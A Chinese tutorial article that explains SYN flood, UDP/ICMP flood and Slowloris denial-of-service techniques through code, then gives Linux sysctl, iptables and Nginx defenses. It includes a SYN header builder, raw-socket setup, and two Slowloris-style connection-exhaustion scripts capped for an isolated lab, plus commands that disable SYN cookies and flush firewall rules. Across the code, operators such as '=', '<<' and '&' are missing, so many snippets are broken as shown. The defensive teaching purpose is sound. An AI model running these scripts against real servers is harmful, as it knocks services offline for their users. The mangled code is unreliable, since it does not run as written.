从源码拆解DOS攻击原理:三类手法与防御配置实战
发布时间:2026/9/30 5:04:58来源:尧图网络
简介一份以DoS拒绝服务攻击为主题的源代码学习包面向网络安全方向学生、运维人员及对渗透测试感兴趣的读者用于通过阅读实际代码理解攻击机制并为后续防御方案提供思路。压缩包共6个文件核心为一个C源文件其余是Visual C工程与项目选项类配置文件整体仅11KB轻量且便于逐行查看。学习时可以重点分析SYN Flood、Ping Flood、UDP Flood等典型形式的实现骨架结合TCP三次握手、ICMP回显以及无连接UDP协议的脆弱点系统梳理攻击数据包从构造到发送的关键环节。同时注意对比DDoS分布式攻击与单点DoS在规模、溯源难度上的差异由此延伸到防火墙过滤、限速、流量清洗、系统补丁等防护策略。已有511人学习下载适合作为入门级安全分析样本但务必仅用于教学研究杜绝用于实际攻击行为。1. 看懂DOS拒绝服务攻击源代码先把它当成防御教材而不是攻击工具把DOS拒绝服务攻击源代码这几个字丢进搜索引擎的人一半是刚转安全方向的新手另一半是被线上故障逼疯的运维。这里说的DOS和微软老系统MS-DOS没有任何关系它是Denial of Service的缩写对应中文拒绝服务攻击。研究这类源码最大的价值恰恰不在攻击两个字上任何一个状态机设计、超时参数和流量控制逻辑反过来读就是一套防御规则。本文会带你从源码结构、隔离环境复现一路走到防护配置所有代码都限定在可控范围内新手能照着搭出第一个实验闭环熟手可以直接抄第6章的防御参数。2. 从三次握手到慢速请求三类DOS攻击的代码层原理2.1 SYN Flood半开连接是怎么被状态机放大的先明确最基础的知识TCP建立连接要三次握手。客户端发SYN服务端回SYNACK客户端再回ACK连接才算建立。SYN Flood的攻击思路就是只发SYN、永远不回最后的ACK让服务端一直停在SYN_RECV状态傻等超时。这些半开连接塞满内核的连接队列之后正常用户的SYN包就只能排队等超时业务自然就断了。从源码拆解攻击程序的核心只有三块构造SYN包、循环发送、伪装源IP。构造IP头和TCP头的代码在网络编程教科书里都能找到核心结构是这样# syn_header_demo.py —— 仅演示TCP头结构非完整可运行脚本 import struct def build_tcp_header(src_port, dst_port, seq, syn_flag0x02): # TCP固定头20字节源端口/目的端口/序号/标志位/窗口等 offset_flags (5 12) | syn_flag # 数据偏移5个32位字 SYN标志 header struct.pack( !HHIIBBHHH, src_port, # 源端口随机即可 dst_port, # 目标端口 seq, # 初始序号伪造时常用随机数 0, # 确认号SYN包不需要 offset_flags 8, # 数据偏移保留位 offset_flags 0xFF, # 标志位 65535, # 窗口大小 0, # 校验和此处省略 0 # 紧急指针 ) return header这段代码的关键在flags的组装(5 12) | 0x02表示头部长度20字节且SYN标志位置1。校验和的计算需要TCP伪头参与实际工具里必须实现否则对端内核直接丢包。这也是初学者自己写发包代码时最常见的翻车点看别人的工具源码几年没跑通最后发现是校验和少算了两字节。SYN Flood为什么比连接保持型攻击更省资源因为攻击端不需要维护socket、不需要完成握手一个for循环就能源源不断生成半开连接而服务端要为每个SYN分配一块传输控制块几百MB内存很快就被耗干。2.2 UDP Flood 与 ICMP Flood无连接协议为什么容易被放大UDP没有三次握手攻击代码只需要往目标端口灌数据报。如果目标端口没有服务监听内核会回一个ICMP端口不可达这些回包又占一次处理开销。更难缠的是UDP可以被放大NTP、memcached这类服务用很小的请求字节就能触发大体积响应攻击者把源IP伪造成受害目标服务端就会把放大后的流量打向受害者。这类攻击源码比SYN Flood更短核心就是高频sendto真正的工程难点在于保持高PPS的同时不让本机sendto调用成为瓶颈。常见优化手段有两条一是多线程绑定多核每个线程用独立的socket发送二是用DPDK这类用户态协议栈绕过内核。读这类源码不需要逐行分析网络库重点看两个参数报文大小和发送间隔。很多实现默认用512字节或1024字节的报文这是经过测试的折中值——太小了包转发率上不去太大了带宽消耗快但PPS指标上不去。做实验时一定要盯着出口带宽UDP Flood很容易把网卡跑满整台宿主机的CPU都被软中断吃掉。2.3 HTTP慢速攻击应用层里最隐晦的一种应用层攻击不依赖大流量而是依赖低速率和长时间占用。Slowloris是这类攻击的经典代表客户端建立HTTP连接后不断发送不完整的HTTP请求头每次只发几个字节间隔十几秒再发下一段让服务端认为连接仍然活跃。Web服务器每个连接都占用一个worker线程或协程这些连接长期挂起线程池耗尽之后新用户自然进不来。这类源码与网络层攻击完全不同不需要原始套接字一个普通TCP客户端就能实现。我写过一个实验版本连接数硬上限设了20核心逻辑是连接池管理和定时发送# slowloris_mini_demo.py —— 实验用途仅限本地靶机连接数上限20 import socket import threading import time TARGET (192.168.56.101, 80) MAX_SOCKETS 20 # 受控实验绝不调大 def hold_connection(index): try: s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect(TARGET) # 发一个不完整的请求头末尾没有\r\n\r\n s.send(bGET / HTTP/1.1\r\nHost: test\r\n) while True: s.send(bX-A: %d\r\n % index) # 每隔10秒补一点数据 time.sleep(10) except socket.error: pass for i in range(MAX_SOCKETS): t threading.Thread(targethold_connection, args(i,)) t.start() time.sleep(0.2)这段代码展示的是连接占用思路不是完整攻击工具关键位置我加了硬上限。慢速攻击难防御的原因在于流量特征接近正常用户Nginx的client_header_timeout、keepalive_timeout都需要配合调优但参数调太小又会误伤正常弱网用户这就是它让运维头疼的地方。三类攻击的核心逻辑差异可以总结成一张表攻击类型关键系统资源最核心代码逻辑最小流量特征SYN FloodTCP控制块/半开队列构造SYN并循环发送高PPS小报文UDP/ICMP Flood出口带宽/回包处理高频sendto并可放大大流量高带宽HTTP慢速攻击线程池/连接数保持连接不结束低速率长连接理解了这张表后面读源码就不会被各种变种工具带偏名字再花哨本质上都落在这三类里。3. 源码目录怎么读发包、状态维护与自保护的四个关键模块3.1 发包引擎原始套接字与普通套接字的选择打开一份典型的C语言DOS源码首先要读的文件往往是send.c或者flood.c。里面会有一个明确选择用raw socket自己构造整个IP包还是用普通socket让内核处理网络层。SYN Flood必须用raw socket因为要伪造源IP、控制TCP头的每一个标志位UDP Flood不一定需要raw socket只想灌流量的话一个普通SOCK_DGRAM就够伪造源IP才需要SOCK_RAW。这个选择决定后面代码的复杂程度。raw socket意味着所有校验和、分片、路由都要自己处理IPv4头20字节加TCP头20字节结构不算难但必须逐字段写对。创建套接字这一步经常被新手忽略// raw_socket_demo.c —— 只演示套接字创建选项不包含完整攻击逻辑 #include sys/socket.h #include arpa/inet.h int fd socket(AF_INET, SOCK_RAW, IPPROTO_RAW); int one 1; // IP_HDRINCL 告诉内核IP头由用户空间填充内核不再自动添加 setsockopt(fd, IPPROTO_IP, IP_HDRINCL, one, sizeof(one));IPPROTO_RAW加上IP_HDRINCL是读这类源码的第一个门槛。设置了IP_HDRINCL之后内核不再帮你生成IP头也意味着你必须自己处理IP头的校验和。我读源码的习惯是先在本地起一个tcpdump抓包确认发出的包格式符合预期再去看攻击逻辑。很多标着最新的工具其实只是把经典代码里的IP头结构体换了字段名不要被名字唬住。3.2 连接状态机攻击代码为什么也在维护一张表听起来反直觉但多数成熟的攻击代码内部同样维护一张socket状态表。原因很简单不管是SYN Flood还是慢速攻击都需要知道哪些连接已经发了、哪些被服务端接受了、哪些该重置。攻击端维护的这张表通常是哈希表键是四元组源IP、源端口、目标IP、目标端口值是对应连接状态。这个设计值得仔细看。表的大小和清理策略决定攻击代码能不能长时间运行。如果只发包不检查结果内存会随着连接数线性增长目标还没倒下自己的进程先被OOM Killer干掉。我在实验环境里见过不少这类伤敌八百自损一千的代码。反过来防御方向同样能用这套状态机理论半开连接表的容量和老化时间正是SYN Cookie机制要解决的数学问题。3.3 速率控制模块PPS、带宽与随机延时攻击源码里的关键模块是速率控制通常表现为每轮循环的sleep(usleep)调用。不要小看这几行延时它决定三个指标每秒发包数PPS、占用的带宽、以及源端口随机化的频率。延时设太短输出网卡队列直接丢包设太长半开连接数爬不上去达不到打满目标队列的效果。# rate_control_demo.py —— 演示速率控制思路非攻击脚本 import time packets_per_second 1000 # 目标PPS interval 1.0 / packets_per_second for seq in range(10000): # send_packet(seq) # 这里替换为实际的发包逻辑 time.sleep(interval * 0.9) # 留10%余量避免系统调度抖动注意延时留了10%余量。系统定时器本身有误差sleep返回时间通常略大于设定值如果精确按1/PPS设延时实际PPS会低于预期这就是为什么参数调好之后要先小规模跑10万包验证实际速率。自己复现实验时不要上来就跑满网卡先把延时调到10万包不丢包再逐步收紧。这个先稳后快的节奏和压测工具wrk、ab的调法一致不要为了追求数字好看把实验环境搞崩。3.4 源IP随机化与运行期自保护最后要读的是自保护逻辑常见的有三块源IP随机化、退出信号处理、日志抑制。源IP随机化是拉高防御成本的核心手段固定一个IP防火墙一条规则就全部拦死随机化之后上游设备只能按速率或报文指纹TTL、窗口大小、IP头ID字段来识别。防御方看到这个模块就应该明白静态IP黑名单很脆弱必须结合速率限制才能挡住。退出信号处理很少被提到但做过实验的人会深有体会CtrlC之后残留线程还在发UDP包后台进程占着raw socket不放开网卡都清不干净。好一点的源码里总有signal_handler收到SIGINT后先停线程池、再关socket、最后写日志。这套收尾顺序放在正常业务代码里同样是值得抄的习惯。4. 在本地搭一套最小实验闭环流量生成、观测与自断4.1 搭建隔离测试环境VirtualBox双虚拟机加禁用转发读源码不如亲手复现但前提是环境必须隔离。我常用的方案是VirtualBox里两台虚拟机一台当靶机跑Nginx一台当流量源网络模式选内部网络确保双向流量无法到达物理网卡。物理机和虚拟机之间不开端口转发避免实验流量意外流出。# 靶机Ubuntu Server上执行确认IP和必要参数 ip addr show enp0s3 ip route sudo sysctl -w net.ipv4.tcp_max_syn_backlog256 # 调小半开队列便于观察 sudo sysctl -w net.ipv4.tcp_syncookies0 # 先关SYN Cookie观察裸状态这里把tcp_max_syn_backlog调到256是为了让半开队列更快被打满方便观察状态变化。tcp_syncookies先关掉因为要复现最原始的半开现象开了SYN Cookie之后攻击往往达不到预期效果。生产环境千万别这样调这两条命令只属于实验场景。提示实验流量必须隔离在内部网络不要让靶机或流量机有任何通往外部的路由这是底线。4.2 编写受限的压力脚本连接保持型实验在500个连接以内第2章展示过Slowloris思路的代码这一节给一个连接保持型压力脚本用来理解长连接如何耗尽线程池。所有参数都加了硬上限适合在4.1的隔离环境里跑。# connection_pressure_test.py import socket import threading import time TARGET_HOST 192.168.56.102 # 靶机地址仅限内部网络 TARGET_PORT 80 MAX_CONNECTIONS 500 # 硬上限500个连接绝不放大 stop_event threading.Event() def hold(index): try: s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_HOST, TARGET_PORT)) s.send(bGET / HTTP/1.1\r\nHost: target\r\n) while not stop_event.is_set(): s.send(bX-Keep-Alive: %d\r\n % index) time.sleep(8) except socket.error: pass finally: s.close() threads [] for i in range(MAX_CONNECTIONS): t threading.Thread(targethold, args(i,)) t.start() threads.append(t) if i % 50 0: print(f已建立 {i1} 个连接) time.sleep(0.5) # 分批发不瞬间打满 print(实验进行中按CtrlC观察清理逻辑) stop_event.wait()需要注意三个细节。第一time.sleep(0.5)每50个连接停一下是为了观察内存和线程数的爬升曲线而不是一上来就打崩系统第二每个线程持有的是普通TCP socket不走raw socket所以不需要root权限第三stop_event是给你留的后悔药按CtrlC后主线程统一关闭所有连接。测试过程中去靶机上跑ss -tan | grep ESTAB | wc -l能看到连接数逐步逼近上限。4.3 观测半开连接与耗尽现象ss、netstat与nstat三件套实验做得到不到位看观测工具用得对不对。在靶机上开一个终端用下面的命令实时观察watch -n 1 ss -tan state syn-recv | wc -l # 半开连接数 watch -n 1 ss -tan | wc -l # 总计连接数 netstat -s | grep -A 5 SYN # 累计收发统计ss -tan state syn-recv是观察SYN现象的核心命令数字爬升说明状态机正被打满。netstat -s里的SYN重传次数会猛增内核每秒都在重传SYNACK等待那个永远不来的ACK。不要只盯一个指标把连接总数和重传计数一起看才能区分是网络丢包还是攻击导致。攻击结束后数字不会立刻归零TCP有TIME_WAIT超时等两分钟再观测才是干净基线。4.4 检测脚本与自动断网把安全响应浓缩在一个命令里实验环境里还要写一个检测脚本模拟真实的告警与阻断动作。这个脚本的阈值逻辑可以直接迁移到生产环境的监控系统里。# detect_and_block.py import subprocess import time SYN_RECV_THRESHOLD 300 # 超过300条半开连接判定为异常 def get_syn_recv_count(): result subprocess.check_output( ss -tan state syn-recv | wc -l, shellTrue ).decode().strip() return int(result) if __name__ __main__: while True: count get_syn_recv_count() if count SYN_RECV_THRESHOLD: print(f[告警] syn-recv连接数 {count} 超过阈值 {SYN_RECV_THRESHOLD}) subprocess.call(iptables -A INPUT -p tcp --syn -m limit --limit 10/s --limit-burst 20 -j ACCEPT, shellTrue) subprocess.call(iptables -A INPUT -p tcp --syn -j DROP, shellTrue) print([阻断] 已限制SYN速率实验连接将逐步清理) break time.sleep(2)这段脚本的价值在于把发现半开连接异常和执行阻断放在一个循环里生产环境对应的是监控系统触发WAF策略。注意limit-burst 20表示突发20个SYN内放行超过后每秒只允许10个SYN进来这两个参数要按真实业务QPS来调没有通用值。实验结束后清空规则iptables -F # 清空全部规则仅限实验靶机 ss -tan state syn-recv | wc -l # 确认数量归零5. 避坑指南复现DOS攻击实验的5个常见翻车点5.1 现象实验直接把宿主机打到卡死鼠标都动不了原因攻击脚本没有限制连接数或发送速率半开连接和线程数同时涨宿主机的进程表和内存先被耗尽。很多新手直接拷贝网上脚本里面的默认参数就是打死对方的量级结果自己的虚拟机先被搞死。解决所有实验参数先按第4章的硬上限来连接数设500以内发送间隔保持time.sleep(0.5)级别先跑通10分钟再逐步收紧。物理机上运行top观察内存占用一旦剩余内存低于500MB立刻停掉脚本。5.2 现象伪造源IP之后靶机收不到任何流量原因伪造源IP意味着目标回包没有合法路由数据能送到但回包丢在网关或虚拟交换机里现象就是靶机tcpdump上什么都看不到。另外很多虚拟化平台的网卡驱动会过滤MAC地址不匹配的IP包伪造IP在虚拟机之间常常直接被丢弃。解决本地实验不要执着于源IP伪造用真实IP做连接耗尽实验一样能把原理跑通。想验证伪造效果就给靶机接一个tcpdump并在虚拟交换机上关掉反欺骗但这是折腾环境而不是技术核心别让环境问题卡住主线。5.3 现象攻击脚本在跑靶机却一点反应都没有原因大概率是本地防火墙把流量静默丢弃了。Ubuntu默认开ufw有些最小化镜像的iptables规则在INPUT链上直接DROP所有非白名单流量攻击流量根本到不了应用层。解决先看iptables -L INPUT -n和ufw status确认没有拦截规则再在靶机上用tcpdump -i any port 80抓包确认数据包真的到了网卡。如果到了但应用没反应去看Nginx或Apache的error_log可能是worker进程数配太少。5.4 现象实验流量把公司网络或服务器告警触发原因哪怕脚本限速了大量半开连接也会被网关的IDS、云平台安全组、或者隔壁运维的监控系统识别为扫描和攻击流量轻则告警重则端口被临时封禁。解决实验网络必须物理隔离只允许虚拟机内部网络通信出口路由全部删掉。切勿拿公司测试服务器、公网IP或云主机当靶机。这是最容易被约谈的一条没有之一。5.5 现象源码里的超时参数调错效果和预期差一个数量级原因SYN攻击的成功率不仅取决于发送速率还取决于内核重传机制。默认net.ipv4.tcp_synack_retries5会让服务端在首次SYNACK丢失后重传5次放大了半开连接的内存占用时间但把它调成0半开连接很快超时释放内存占用反而降下来。内核里这些重传参数一直有点玄学不少人只调了队列长度没调重传参数效果天差地别。解决复现实验时按照第4章的命令把tcp_synack_retries调成1、tcp_max_syn_backlog调成256让现象在可控范围里出现。做防御验证再把这些参数改回去前后成对记录避免参数污染影响结论。6. 从源码到防线三组可直接抄的防御参数与验证方法6.1 半开连接超时与SYN Cookie最便宜的第一道防线把第4章实验环境里改掉的参数恢复成防御态就是一套立即可用的基线sysctl -w net.ipv4.tcp_syncookies1 sysctl -w net.ipv4.tcp_max_syn_backlog4096 sysctl -w net.ipv4.tcp_synack_retries1 sysctl -w net.ipv4.tcp_abort_on_overflow1tcp_abort_on_overflow在队列满时直接丢弃新SYN保护已有连接不被打断配合SYN Cookie效果很好。注意tcp_synack_retries1会加快半开连接回收适合SYN频繁的公网入口常规内网服务保持默认即可。6.2 应用层慢速攻击的防线Nginx的四个超时参数针对低速率长连接核心思路是让空闲连接快速释放client_header_timeout 10s; client_body_timeout 10s; keepalive_timeout 15s; send_timeout 10s;关键是keepalive_timeout不要低于15秒否则正常用户的图片和接口请求会被误断这个值要结合前端页面加载耗时来调。验证方法是把第4章的连接保持脚本跑起来观察ESTAB连接数是否在10秒内回落。6.3 验证方法攻击脚本与防御规则的黑盒对比最后分享一个我常用的验证习惯防御规则改完不要只看服务通不通要量化。在流量源记录每秒丢包数和连接成功率在靶机上记录半开连接峰值和请求成功比例两条数据曲线对比差距拉开一个数量级才算规则生效。我曾经只调大了backlog没调重传参数看起来业务没断实际上半开连接还是堆在队列里出不去属于典型的白白忙活。用这个量化对比方法之后才发现问题出在哪。研究攻击源码这件事最大的价值是让你在被攻击之前就知道对方代码里每一个参数的意思。攻击代码里的状态机、超时和速率控制反过来读全是防御手册。这个思路希望帮到你下次拿到新工具先拆它的发包引擎和状态维护防线自然就出来了。本文还有配套的精品资源点击获取
网站建设高端定制企业官网